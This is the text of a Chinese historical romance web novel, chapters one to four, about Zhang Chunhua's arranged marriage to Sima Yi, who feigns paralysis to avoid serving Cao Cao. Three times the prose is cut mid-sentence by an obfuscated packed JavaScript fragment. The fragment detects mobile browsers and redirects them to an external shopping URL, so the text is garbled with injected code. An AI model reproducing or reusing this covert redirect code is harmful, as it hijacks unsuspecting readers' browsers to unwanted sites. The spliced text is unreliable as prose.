《司马懿他穿越而来》 1. 第一章 一日的热闹喧哗过去,粟邑县县令张氏明公的府上复归于沉寂。 昨日是张氏明公小女春华的及笄礼。 除了当地的乡绅、豪奢前来祝贺外,就连远在许都的京兆尹司马氏都派了第三子司马孚登门拜访。 翌日一早,司马孚便要启程回许。 那是位容貌清俊、温和谦润的年轻公子,临走前,恭顺地与家主张汪拱手施礼。 张汪一派喜笑颜开,圆圆的脸上杏眼弯弯成月牙状,殷切地说道:“贤侄慢走,一路珍重。” 司马孚欣然地回答:“有劳世叔记挂。” 而后,就在他准备转身之时,突然步伐一顿,复地对家主张汪作揖,说道:“临行前,侄儿倒是有一事不得不告知世叔。侄儿此番前来,除了是庆贺世叔之女及笄外,还是家父迫不及待地想替次兄张罗着完成与世叔之女的婚约。” “春华妹妹既已及笄,家父的意思是,这婚约宜早不宜迟。”年轻的公子司马孚波澜不惊地总结。 对面的家主张汪面上却是露出一丝不易察觉的为难。 但只一瞬家主便恢复如常,从容地应对道:“贤侄归去只管回禀汝父司马兄,只说,这儿女婚约,愚弟我一直记得,定不会有负司马兄期待。” 俩人这一番话说完,司马孚才真正地告辞、转身离开。 旁听且眼观了这一轮对话和场面的侍女韵竹,在司马孚身影自府门前消失的一瞬,便立马掉头向内院,匆匆跑去。 秋雨过后,四野落了一地的枯叶。由于时辰尚早,洒扫的仆役还没完全清理干净。 韵竹跑在上面,踩着枯叶“沙沙”作响,溅起的水渍很快弄脏了素白的裙裾。 待韵竹跑到春芳苑的时候,主屋内已经有绰约的人影攒动。其中被几位侍女拥簇着的一位妙龄少女,身型窈窕、匀称,不会过于纤弱,如嫩柳一般,仿佛一折就断。 她更似一苇蒲草,柔中带韧。 妙龄少女闻脚步声抬眸,露出一张精致的面容,白皙的脸上,肌肤吹弹可破,漆黑的杏眸似乎自带水光和华彩,朱唇掩映贝齿,粉面桃腮,若娇蕊羞红。 少女注意到韵竹裙摆的脏污,故意嗔怪地说道:“这一大清早,你不在屋内伺候,又跑去哪里躲懒了,怎还弄得如此狼狈?” 少女看似责怪,但转瞬便无奈扬唇。 韵竹顾不得这许多,只粗略地也瞥了自己的裙摆一眼,而后着急地褪了鞋履,“登登”地跑进屋室内,到少女近前,不忿地说道:“女郎,我早就说了那司马家的三公子来祝贺女郎及笄没安好心。这不,他临走前特地向家主提了女郎与那二公子的婚约。” 少女的目光略带疑惑,反问:“婚约?” 是了,他们河内平皋县张氏与温县司马氏自自己幼年便定下婚约。自己被许给司马氏第二子司马懿为内妇。 只是近些年来,这位司马氏二公子的情状有些特别。 不等少女自行品出其中的滋味,韵竹更是没好气地抱怨:“虽说这司马氏近来去到许都、家主任职京兆尹,也算是飞黄腾达。可是他们家那位二公子却不是个康健的,早年便得了风痹病,不良于行。现下竟还妄想能迎娶我们女郎?” “便是换三公子来代替,也不知比那位二公子好了多少。” “女郎,这门婚事,我们万万不能答应。” 韵竹激动地拍起了手掌。 少女本还在发懵,眼见韵竹越来越情切,顿觉得好笑,忍俊不禁起来,望着韵竹羞恼的面容,直是摇头。 少女刚想说话,门外传来一声通禀:“家主来了——” 少女伴着韵竹即刻起身,前往门首处迎接家主,亦即少女的父亲——张汪。 张汪信步入了屋内,背手环顾四周,又望向昨日刚刚及笄的女儿。 女儿及笄礼了,发式也由原本的垂髫双髻变作挂耳单髻。 明明还是那个自己记忆中的小丫头,却好像一夜之间突然长大了。 张汪有几分慨然,清了清嗓子,开口:“华儿你可曾想过自己已经是个大姑娘了?” 少女霎时便明白过来父亲想说什么,直言道:“父亲是想告诉女儿,司马氏主动提起了旧日婚约吗?” 张汪坦诚地颔首,表情无奈,继而隔了良久,似乎鼓足了勇气,方才又道:“这件事你怎么看?若是你实在不愿嫁给那个司马懿,父亲即便豁出去这张老脸,与司马氏割袍断义,也绝不会赔了你的余生。” 张汪说完这话更靠近女儿一步。 少女则是沉吟了半晌,最终轻轻摇头,回答:“可是女儿与司马懿成婚,也不只是女儿和司马懿的事,背后还有平皋张氏与温县司马氏。近来时局动荡,张氏偏安一隅,说是独善其身,可早就被朝廷疏远。司马懿虽是病躯,但司马氏乃京畿重臣。张氏若想长久安宁就不得不倚靠司马氏。” “至少父亲还有女儿与司马懿的这门婚约。”少女说着说着,释然地笑开。 她明媚的笑靥映入张汪的眼帘,不仅没有宽慰张汪,反叫张汪觉得心如刀绞。 女儿这般哪里是想开了,就决定要嫁给司马懿?分明是将己身的幸福置之度外,对她来说,自己的终身根本不重要,重要的是整个张氏的未来。 张汪心疼女儿的懂事,愧疚地抬手抚上女儿削弱的肩胛。 女儿却是继续安慰他道:“父亲也不必担心,女儿曾经有缘见过那位司马懿一面,知晓他是个翩翩君子。即便这些年来痼疾缠身、不良于行,想必也不会改变他的品行。他定不会苛待女儿,女儿嫁给他也应当不会受苦。” “可司马氏的意思是想你们尽快完婚。”张汪长长地叹了口气。 若司马氏一直不提此事,他也可以一直装傻充愣。反正女儿才刚刚及笄,还能养在家中几年。几年时间,局势瞬息万变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712180|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定司马氏衰微,不好意思再续婚约。又或者司马懿突遇良医,身体恢复康健。自己也好安心地把女儿嫁过去。 然而眼下这个时机……张汪只觉得十分放心不下、舍不得女儿。 女儿才刚刚十五岁啊。 听到要尽快完婚,就连原本泰然自若的少女也变得怔忪起来。她美目微颤,虽没说话,但张汪也看得出来,女儿即使愿意嫁,也没想到会这么快。 张汪又想安慰女儿,女儿适时装作若无其事地复扬唇微笑,只道:“反正是要嫁的,迟一点、早一点又有什么区别呢?就是女儿……” 少女欲言又止,不忍地看向面前越发年迈的父亲,悲戚地说道:“就是女儿不能再侍奉于父亲膝下,为父亲尽孝了。” 少女话罢,往后退了一步,朝着张汪深深地拘了一礼。 张汪见状,眼眶发红,上前去扶女儿,哽咽地说着:“你母亲早逝,你自小便独立。我常常繁忙,管顾不得你,你却从没怪过为父,也自己成长得很好。往后一个人,多为自己着想,不必牵挂为父……” 张汪拍了拍女儿的手,少女也不禁潸然泪下。 张汪在撒手前,还是坚决地说道:“无论如何我张汪的女儿,出嫁定是要风风光光的。即便是嫁给一个病秧子,为父也定会替你将红妆准备充足。不管日后如何,司马氏与张氏如何,但凡你受了委屈、想回来就回来。” 张汪说完,再不敢看女儿,沉沉地垂下头去,撒开手,转身离开女儿的寝居。徒留女儿还伸着手,欲抓住他双手离开的残影。 少女望着父亲的背影抬手轻拭了拭眼角的泪水。 一直在旁观望的侍女韵竹,起先不敢妄加质疑主家的决断,待家主离开,方才更加殷切、不解地规劝自家女郎,“女郎何必呢,纵然是为了张氏的荣辱,也犯不着委屈自己嫁给一个病秧子。照婢子看,若是女郎与家主强求,量他司马氏也不敢不将二公子换作三公子。” “婢子觉得三公子要比二公子强得多。”韵竹极其坚定地重复。 毕竟,司马氏三公子司马孚是她见过的人,言谈举止、仪容仪表都还算得了上等。至少在如常行走上,就已经甩那位二公子不知晓几条街了。 少女却是微笑摇首,回答:“我觉得二公子更好。况且,原本与我定下婚约的就是二公子,又怎可因为一点痼疾就抛弃当初信约呢?” 少女目光纵远,望向庭院内那颗高拔的桂树。 很早很早的时候,桂树枯弱、瘦小。她本都命了匠人将其拔除,可是有个少年郎君告诉她,他看得出来这棵桂树生机勃发,日后定能花叶繁茂,就像他,总有一日是要鸢飞戾天,一鸣惊人的。 于是,她将桂树留了下来,努力地救活、养大。桂树确实也如少年郎君所说的一般花繁叶茂,可是当初说要鸢飞戾天、一鸣惊人的那个少年好好地怎么就被痼疾缠身、一病不起了呢? 2. 第二章 建安八年,十一月十二,大吉。 当繁盛的中原腹地飘下这一年的第一场雪,纵目望去,满眼的银装素裹,张春华自粟邑县启程,前往都城许昌,嫁给司马氏第二子司马懿。 前来接亲的依旧是那位容貌清俊、温润谦和的三公子司马孚。 当张春华坐上喜车,被篾帘遮挡住面容和目光,那位三公子当即上前请罪道:“还请嫂嫂见谅,次兄他久病缠身、不良于行,实在无法亲自前来迎接嫂嫂。但无论是次兄,还是整个司马氏都已经在许都严阵以待,等着嫂嫂过门。” 张春华的面上只有一瞬的失落,而后稀松平常地回答:“无碍。” 她的嗓音自带一种柔软和清冷,虽不算洪亮、铿锵,但也叫人不敢质疑她的说法。 反而是侍女韵竹,站在车边,不悦地喃喃:“再是不良于行、风痹病,这迎娶新妇怎好让胞弟代劳?便是坐马车、被抬着,也该亲自前来。” 韵竹今日穿了一身藕荷色的上衣,依旧是素白的下裳,虽不及新妇张春华明艳、光彩照人,但也叫人一眼就看得出来,她不是普通的随嫁侍女,而是张春华的贴身丫鬟。 听见韵竹的抱怨,司马孚面上并没有流露出过多的讪讪之色,只是微有愧疚地再次朝着车帘内和马车边,对着张春华和韵竹各施了一礼。 韵竹冷哼一声,撇过脸去。 张春华无奈道:“自家婢子缺少管教,让三公子见笑了。” 司马孚一派宠辱不惊,只是微笑着纠正张春华,“嫂嫂自今日起便是我的长辈,唤我叔达便好。” 张春华不愿意叫,尊称了他一声“小叔”,“这一路就有劳小叔护送了。” 司马孚也不在意,欣然地答应:“嫂嫂言重。” 而后,他自喜车前走远,走到迎亲队列最前方还空着没坐人的骏马旁,翻身上马,随后抬手,朗然一声,说道:“启程——” 迎亲队列便开始浩浩汤汤地往前行进。 张春华坐在喜车上,打起车帘,一直凝望自己身侧,乃至远到自己身后的粟邑县张府。 张府门前,父亲张汪正站在那里遥遥地同自己挥手。 张春华落下泪来,以绣帕轻抚了抚面容,到再看不见张氏府邸。 韵竹安慰张春华,“女郎,我们日后归宁,还是可以回来探望家主的。” 张春华微微颔首,随之就先前发生的事情,责备道:“韵竹你啊,等我们嫁去司马氏,就不同在家中。在家中有我纵着你,便是你胡说几句也无有大碍,可司马氏门第高,只怕规矩森严,容不得你置喙主家、胡言乱语。” 韵竹自知有愧,羞怯地低下头去,但转瞬越想越气,不服地抬眸又道:“可即便是在司马氏,婢子也见不得女郎受委屈。有些事情,女郎顾及颜面不好开口,就让韵竹来说便是。纵然被司马氏撕烂了嘴,韵竹也要为女郎讨回公道。” 韵竹举起右手,稍稍握拳,一副视死如归的坚定模样。 张春华望之,忍俊不禁,告诉她,“真到了那个时候,我也会拼命护你的。不过你虽然嘴快,但这些年在家中还算讨父亲喜爱,想来也是个知道轻重的人,去了司马氏,也定不会招人厌烦。” 韵竹自信地回答:“婢子也这样觉得。” 张春华拿她没办法,便也不同她再说下去,只终于放下车帘,安心地坐在车内。 须臾后,张春华伸出手,递出一块翠绿的糕点,俏皮地说着:“韵竹,拿好。我饿了,想必你早晨同我一样也没怎么吃东西,先垫着,待去到许都,我们再仔细用膳。” 韵竹喜笑颜开,低低地朗声说道:“多谢女郎。” 张春华亦是哑然失笑,继续告诉她,“车内还有水,若是你用糕点口渴,只管唤我给你拿水就是。” 韵竹在马车外点头如捣蒜,因为已经开始把糕点塞入口中,支支吾吾地说不出话来,只不停地传出“嗯嗯”的声响。 一路上,数日的行程,中间还在驿馆逗留了几夜,至十一月十六,另一个吉日良辰,迎亲的队伍才到达许都司马氏门前。 许都的道路远要比粟邑县的宽阔,原本在粟邑县几人并走,已是将道路塞得满满当当的迎亲队伍到了许都,也只是路中间狭长的一列。 除了迎亲的礼者,两旁皆是前来凑热闹、观望的百姓黔首。 车驾在一座宽敞的府邸前停下,张春华好奇,想要打开车帘观望,但手已经伸到帘边,才恍然惊觉,自己是新妇,不可随意抛头露面。 她就只能收回手,更加安静、端庄地坐直。 最前方的司马孚率先翻身下马,先是到张春华所在的喜车前,恭声:“还请嫂嫂稍等,我这就去禀告父兄。” 而后司马孚又匆匆地跑进宽敞的府邸里。 不及一瞬,一阵喜乐奏响,自那宽敞的府邸内簇拥而出一群男女老少。有穿着蓝灰锦袍的长者,还有穿着竹青长衫的青年,唯独不见穿着与张春华身上喜服一致样式墨黑熏红绲边鸟雀纹的年轻人。 是其中一个绛红的身影,三步并作两步地走到喜车前,扬着尖细、中气十足的嗓音说道:“有请新妇下轿。” 是一个中年女子的声线,像是媒妁一类。 张春华不及多想,便在妇人地催促下,伸出一只葱白纤长的柔荑到马车外。 众人望着那柔荑便不约而同地惊叹:“这新妇定是位美人。” “可不是嘛,他们这些达官显贵、高门贵胄迎娶的新妇哪个不是百里挑一、难得的美人?” ……但是,如果他们能靠近细看的话,便会发现张春华的手上并非肤如凝脂、洁白无瑕,而是在掌心、指尖有几处细细的薄茧,或是常年握笔,又或是常年操握其他物什导致的。 韵竹站在马车边,见状,赶忙抬起手来去扶张春华伸出的那只柔荑,而后引着张春华自马车内走出。 新妇的面容初一显露,众人的惊叹更盛: “真是个窈窕婀娜的女子。” “长得也是真好,纤长的眉睫、大大的眼睛。” “还有那圆润的尻臀,定是个好生养的!” ……张春华听得出来,这里面既有平民百姓的议论,亦有其他观礼宾客的悄声。 但听到“尻臀”,说自己“好生养”时,她还是情不自禁羞红了面颊,又气又恼。他们怎能如此评价一个刚刚出阁、还未经人事的女郎君? 张春华在韵竹和妇人的搀扶下,巴不得走得快些再快些,原本细碎的步子要几十步的距离,她十来步便走到了司马府正门前。 抬眸望过去,比粟邑县县府还要巍峨、高阔的府门顶端,用汉隶书写着方正、苍遒的“司马府”三个字。 房檐下还挂着几个特意换了颜色、喜庆的长圆灯笼。 妇人此时又在朗声说道:“新妇进门——” 张春华只能收回自己观察的目光,顺着妇人的指引,迈步向着司马府内而去。这一迈步,从此以后,她的终身便与司马氏再脱离不开干系,尤其是与一个叫司马懿的人紧密相连。 说实话,张春华还没有做好准备。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712181|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但既到了此时此刻,已完全没有退却的可能。张春华只能长长地吸了一口气,而后提起裙摆、抬着步子,坚定不移地往前走去。 到前堂内。 高位的主座上只坐了一个五十来岁的年长者。穿着一身灰杏色的墨竹纹绣深衣,留着半是花白的须髯,头发束得一丝不苟,还特地簪了革冠。 那年长者望向愈渐靠近过来的张春华,随之对堂下站在最近处的一青年男子招手,等青年男子靠近,而后才小声地说道:“仲达呢?这他自己成婚、大喜的日子,即使不便行走,也该早些来前堂等着与新妇行礼才是。他又跑到哪去了,快去将他带来。” 青年男子恭顺地称是,而后领着几个人匆匆地离开。 张春华到堂下最中间的位置站定。本以为这时自己的新婚夫婿就该出现,可环顾四周,依旧没有那个与自己穿着相似喜服的年轻人。 张春华没有动作,亦不敢说话,只是静静地等待。 然而,等到了一刻、两刻、三刻……到堂下的宾客们都在议论纷纷:“这司马氏的二公子怎么还不出来,该不会已经不便行走到这行拜堂礼也要胞弟代替吧?” “那这新妇到底是嫁给他,还是嫁给他胞弟啊?” “好歹是三书六礼娶回来的新妇,怎能如此怠慢?” 这些妄加揣测的评议一出,张春华一人已经巍巍地有些站不稳。只觉得自己像是个笑话和谈资一般,赤果果地站在众人面前,供众人随便评议。 韵竹气不过,当即就要上前理论。 然而,她刚有动作,张春华便急忙拉住她,郑声:“韵竹。” 张春华对韵竹微微摇头,告诉她不必如此。 可韵竹实在气恼得不行,连呼吸都变得粗糙、哼哧起来。 就在这时,原先离开的青年男子,突然又在出现,喜笑颜开地说道一句:“新郎君来了——” 他匆忙地回首又去扶身后本就被几个仆役搀扶着的一个年轻人。 那年轻人总算是穿着墨色绲熏红边鸟雀纹喜服。 年轻人的长相叫张春华望之一眼怔愣。并不是寻常意义上简单的俊俏、丑陋与否,而是天然有一种气度,叫人望之不可忽视。 他长得与三公子司马孚有四五分像,但眉眼要更深邃,剑眉鹰目,随意地环顾四周便如同在寻找自己的猎物,目光锐利、幽邃,看不出确切的情绪。但有足够的威慑力,只对视一会,便会让人败下阵去。 张春华刚准备低头,那年轻人锐利的目光一瞬间变得浅淡、温和,还带着愚笨,微微地笑起来,好似一位儒雅的文士。 他谦逊地说道:“还请诸位海涵,是懿来迟了。” 那嗓音清清朗朗,若明月当空、晚风徐来。 而后,他在众人的搀扶下亦步亦趋地往前走去。明明是纤长的腿足,却在落地的一瞬变得蜷曲、歪倒,似乎每一步都很艰难、疼痛。 他的面上露出惨色,额角也覆满细密的汗珠。 直至与张春华并肩,他更是因为积蓄了太久的努力,一时激动,险些向地面跌去。他匆匆地抓上张春华的小臂,借张春华的力稳住自己的身形。 张春华更好心地抬手扶他。 张春华轻声:“小心。” 他微微一笑,对着张春华扬眉,更是小声道:“今日欠夫人的,日后定百倍、千倍地偿还。” 张春华闻言一顿,而后憋忍不住地慢慢笑开。虽然容貌认不太出来,长高也变英俊了,但是如今面前的司马懿确实还保留着少年时的明朗与赤忱。 3. 第三章 “礼毕——” “送入新房——” 三叩三拜的拜堂礼后,张春华又被媒妁与韵竹搀扶着,去往司马府后院司马懿所居住院落,主屋的新房。 当门“吱呀”一声被打开,又“吱呀”一声被阖上。 坐在内室床榻间的张春华与陪在张春华身前的韵竹皆是长长地舒了口气。 张春华微笑说道:“总算是行完礼了。” 韵竹则是蔚为不满地撇嘴、抱怨:“说什么他家二公子在许都早就严阵以待、等着迎女郎过门了。行礼时,居然要七八个人去寻,才找得回来。” “若非那位二公子最终还是出现了,与女郎行完了礼,婢子定要修书告到家主那里去,然后直接打上门,叫他们司马氏竟敢轻慢女郎。” “不过,女郎,你可瞧见了,那司马氏二公子确实是被风痹病缠身、不良于行。就门前到堂下那几丈的距离,他仿佛走了一辈子,最后还险些栽倒在女郎面前。婢子怕……” 韵竹担忧地望向张春华,眉头都皱紧了。 张春华闻言,却只是不以为意地笑着纠正道:“什么那位二公子、司马氏二公子的?既已行完了礼,往后,你便应当唤他一声公子。还有,也别唤我女郎了,该叫我少夫人了。” “可是女郎……”韵竹汲汲地开口。 张春华瞥她,她急忙改口:“可是少夫人,你当真要把自己的终身托付给这样一副病躯?不能为少夫人遮风挡雨便罢了,只怕这夫妻之间、绵延子嗣都成问题。” 不是韵竹妄加揣测,而是那司马懿的腿脚实在不便。虽说夫妻之事也不完全依赖腿脚,但是好的腿脚总归更利索些。 张春华听罢,嗔怪地望向韵竹,虽没说话,但眼神昭然若揭,在责问韵竹,要不要听听自己在说什么? 韵竹心虚地垂下头去,继而又猛地抬起,似乎要继续说些什么。 张春华则是打断她,一派无可奈何的模样,道:“可是嫁都已经嫁了,礼也行完了,还能反悔不成?便是你这位新姑爷真的不善夫妻之事,也只盼着他能因此日后少纳如夫人。” 韵竹听了,当即瞠目结舌,没成想,自家女郎在此事上还挺想得开的。也不怕,这子嗣不旺,外人未必会苛责新姑爷,只会说是女郎不利于生养。 韵竹抿了抿唇,正在思忖要不要再多说些什么,只听新房门外传来一阵窸窸窣窣的声响。而后,不等她与张春华仔细探听,门又是“吱呀”一声被打开了。 韵竹自内室走出去,便看见她家那位身有痼疾的新姑爷正颤颤巍巍地倚在门沿上,没被人搀扶,而是吩咐身后的一众仆役说:“把这些酒菜都在旁边的桌案上摆好。” 那一众仆役确实人人都端着一个托盘,里面装了酒水和菜品。 韵竹望向新姑爷,恭敬地福身、施礼,称呼道:“公子。” 司马懿闻声,这才注意到已经自内室走出来的韵竹,对着她真诚一笑,继而体贴地说道:“女郎这伺候了新妇一整日,想必也饥肠辘辘?后院的小厨房亦备了私宴,女郎去吃些吧?” 韵竹听不惯司马懿称呼自己为“女郎”,闻言,先是自我介绍道:“婢子韵竹。”而后,为难地回眸望向内室,欲言又止,“可是婢子还要继续伺候我家女郎……” 她话音未落,司马懿更是微笑说道:“韵、韵竹是吧?你放心,我既与夫人成了婚,自是会照顾好夫人。况且我与夫人结缡之夜,你难道要一直待在新房内吗?” 韵竹当即羞红了面颊,转首向内室,仓皇地说道:“女郎,韵竹先退下了。” 张春华淡淡地轻“嗯”一声。 韵竹又赶忙向司马懿行了礼,而后三步并作两步地走出屋室内。 不久,前来呈送酒菜的仆役也全都退出了新房。司马懿先是蹒跚着离开门边,而后当仆役们贴心地将门关好,他原本破碎的脚步声突然变得有规律起来。 到屏风前,司马懿站在屏风后侧,在屏风上拉出一个长长的身影,向着内室张春华所在之处,探首说道:“夫人出来先用些饭食吧?” 张春华确实觉得饥饿非常,也就没端着仪态推拒,而是立马站起身,步履匆匆地往外室走去。 同样到了屏风边,司马懿伸手,请求张春华道:“劳烦夫人扶我一把。” 张春华好心地抬手迎上去,抓着司马懿的胳膊,努力支撑起他的重量,扶着他亦步亦趋地往布满酒菜的桌案边走去。 只是,司马懿的身子实在太重,即使她走得已经很慢,还是不太稳当。就在她觉得半边身子快被司马懿压垮的时候,整个人驮着司马懿便要摔在地上,她下意识地闭上眼,但随即腰上一紧。 等她再睁开双眼,触目望去,是司马懿自己稳住了身形,还牢牢地抓住了她。 张春华不可置信地微微眨眼。司马懿则是在下一瞬,放开了她的腰,先她一步不紧不慢地往桌边走去,笑说:“夫人走路可得小心啊。” 司马懿回头瞥张春华,可张春华的目光根本没有与他对视,而是盯着他的腿足,满溢而出不可置信。 此时此刻的司马懿,哪里还是那个在前堂里步履维艰的新郎君,分明就是个健步如飞、走路十分稳健的正常人。 张春华惊声:“你的腿……” 司马懿闻言,止住步伐,回过身来,更是笑意盎然,坦诚回答:“它们其实没什么事。在外面装作风痹病、不良于行,不过是为了躲避曹操的耳目罢了。可你是我的夫人,我们日后当患难与共,我不想瞒你。也怕你真觉得我不便于夫妻之事。” 说到“夫妻之事”,司马懿笑得意味深长。 张春华则是满面的窘色,她没想到司马懿会听见自己与韵竹的谈话。 张春华不知该继续说些什么。 司马懿主动走上前来,拉她的手,引她前往桌案近处。司马懿的手掌宽大而纤长,不算细嫩,但十分温暖、舒适。 司马懿继续解释道:“想必曹公的名号,你也听过?如今的大汉司空,迎幼帝至许昌,挟天子以令诸侯。他瞧着我有些许名声,想要征辟我。可如今天下局势未定,曹操仍有劲敌,我还没有想好要不要投效于他。故而先搪塞过去,待局势分明一些,再自行择主。” “你觉得曹公麾下不好?”张春华自然听过曹操的名头。虽也是世家出生,但一路起事不算顺畅,在如今天下群雄诸多势力中也不算强盛,可就是他打败了四世三公的袁绍。 “曹操赢了官渡之战,已是北方中原的最强势力。”司马懿波澜不惊地回答。言外之意是说,他并不觉得曹操麾下不好。 “只是曹公帐下俊杰颇多,文有郭嘉、荀彧,武有许褚、张辽。我若是现在投靠,只怕短期难以受到重用。若只能做个碌碌无为之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712182|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,我倒更愿意先行蛰伏。这天下大势瞬息万变,万一曹公麾下顿缺人才,又或者有新的英豪崛起呢?” 司马懿说话间,已经将张春华安置在桌案前坐好,自己到她的对面坐下,为她倒了酒水、布施了一些菜品。 张春华感激地对司马懿颔首,诚挚地说着:“你的顾虑有道理。你放心,你我既已成婚,夫妻一体。此事我定不会泄露半分。” 司马懿平静地回答:“我自是信你。” 话罢,他更指着那些菜品,告诉张春华,“快些吃吧,你定饿了,这一夜还漫长。” 张春华不知晓司马懿说“这夜漫长”是什么意思,但她想的是,若司马懿腿脚便利,他们又刚刚新婚,今夜定是要圆房的。 张春华顿时羞红了脸。 她垂下头去,不声不响地默默用饭。 司马懿只偶尔动筷,更多的是静静地看着张春华吃。 张春华尽管年岁还稚幼,但已可见美人姝丽的模样。比于自己好些年前在粟邑县见她,她确实有了女子的模样,一颦一笑、脸上一红一白,皆是妩媚、娇俏之态。 尽管他们的婚约是自幼定下的,可是能娶一个这样的女子为妻,司马懿觉得不亏。况且,自己与她虽然相处时间短,但她在婚仪上面对自己的轻慢能不骄不躁、冷静行事,已是极符合自己心目中对未来发妻的期待了。 司马懿一直还是维持着笑意。 但偶尔张春华悄悄地抬眸打量他,能明确地感受到,他如今在自己面前的笑意,并不如之前假装的那般和善与温吞,而是带着忖度和审视,更有一种在围观自己猎物的游刃有余。 他应当是一个城府极深的人,张春华以为。 张春华吃了好些菜品,到腹部微微地隆起来,方才餍足地放下木著,笑说:“我吃饱了。” 司马懿颔首,迟疑了一下,询问:“那我命人抬水进来,准备洗漱、就寝?” 张春华拘谨地点点头。 司马懿自桌案前站起来,先是利落地走到门边,待推开门扉,又变得极尽蹒跚,刚准备朗声开口,只见门前猛地窜出一个人影。 那人气喘吁吁的,上气不接下气。 转瞬着急地说道:“公子不好了,曹公派人来了,说是要讨一杯喜酒喝。以及,作为贺礼,为防止公子腿脚不便,不利于夫妻之道,他还命华佗华大夫亲自来为公子把脉、诊治。” “华佗华大夫?”司马懿站在门首突然就笔直了身形,重复着这个名字,而后有条不紊地吩咐,“你尽量去前院拖他们一拖。华大夫医术高超,只是简单地装病,怕是立即会被戳穿。夫人……” 司马懿又望向屋内,“劳烦去内室的箱奁里帮我取一下银针。” 张春华不明所以,但还是乖乖照做。 门前的那人则是担心道:“公子莫非是想假戏真作?可是行针促发的风痹病,危险万分,一个不慎,更可能会命丧黄泉。” 司马懿则是坚定不移地回答:“那也总好过因我一人丢了全家的性命。如今这个局面,曹操分明是有意前来试探,若让他发现端倪,只怕喜事要变白事。” “可曹公惜才……”门前那人还是觉得这样不妥。 司马懿更不容质疑道:“即便曹操惜才,纵然戳穿我的戏码,也不会杀我。但我司马懿若非自己心甘情愿,否则绝不任人宰割!” 4. 第四章 昏黄的烛火下,银针的寒芒毕露。 张春华陪坐在床榻前,紧张不已地盯着半躺在床榻上的司马懿。 司马懿手持银针,一点一点靠近自己的髌处。 就在他下针之前,张春华嗫嚅着嗓子,小声询问:“当真要如此吗?” 司马懿微笑颔首,另一只手微微抬起,抚上张春华自然垂落于床榻上,因为忧虑,不由自主攥紧被衾的柔荑。 冰冷的手背上一热,张春华先是垂眸,眨了眨眼,而后缓缓地抬头,与司马懿对视。 见司马懿的目光坚定、笑意从容,张春华渐渐地也微弯唇角。 她的柔荑舒展、伸平,随即,欣然地说道:“你施针吧,我就在旁边守着你,无论是曹操的人想提前进来,还是你有什么万一需要去请大夫,我都会妥善处理。” 司马懿对张春华的笑意更甚。 他收回手,一只手扶住自己的膝盖,另一只手捏着银针找准穴位,而后未作迟疑,干净利落地下针、扎深。 伴随着在外银针的长度越来越短,司马懿的眉头皱紧了,额上渗出豆大的汗珠,一颗一颗地滚落下来,略微濡湿了身上的衣衫。 张春华连呼吸都阻滞了。 隔了好半晌,司马懿面上的痛苦才稍稍减轻,但他的脸色已是惨白。 司马懿依旧扬唇对张春华笑着,取出另一根银针,怕她担心,解释道:“如今我的双腿因为被激发病症,十分疼痛,稍微触碰,便会难以忍受。但光是表征如此还远远不够,我下一针会施在颅上,为了可以让脉象也如同风痹病。你无需紧张。” 张春华微微颔首。 司马懿一面将银针又在靠近自己,一面继续与张春华说道:“因为我的缘故,让你今日受委屈了。我今夜怕是也不能再好好待你。不过,等我们渡过这一关,我日夜都可以待在府中、陪在你身边。若是曹操的监视稍缓,我也可以带你外出游历,去看遍名山大川。” “春华,对不住了。”司马懿恳切地郑声。 张春华仓皇地摇头,表示自己不在意此些。她感觉鼻子有些酸涩,视线也变得朦胧,哑着嗓子回答:“没关系的。我等你好了,践行自己的诺言。不仅要在家中陪我,还要带我外出游历。” 司马懿认真地颔首。 随后,他将银针贴在自己的颅上,一点一点地往里使力,待银针几乎半没入发间,司马懿更道:“春华,往后的几十年能与你一起过,我很开心。” 张春华努力扬唇,亦是说道:“我也是。” 张春华抬手去握司马懿的,因为司马懿复地痛苦起来,张春华顾不得刚刚婚嫁的羞赧和青涩,也想不起男女大防,只记得他们是夫妻了,是往后要患难与共的夫妻了。 张春华无声地落下泪来,手上的力道一点一点地加重。 司马懿蜷缩在床头,先是表情狰狞地扭动,而后扭动的幅度和频率慢慢地变小、变缓。 张春华突然发现司马懿有一会没动了。她着急地站起身,俯身去看面向床内司马懿的情况,只见司马懿眉头紧锁、双眸紧闭,像是昏了过去。 张春华颤声呼喊:“夫君、夫君——” 可是回答她的只有无尽的沉寂。 张春华倏尔不知该怎么办了,手无力地搭在司马懿的身上,脑海内飘出了无数如果司马懿死了,自己该怎么办的想法。 直到床上的人哀吟一声,张春华才猛地回过神来,继而一边安抚司马懿,“夫君,你等等,我去寻大夫。”一边仓皇地往外室门边跑去。 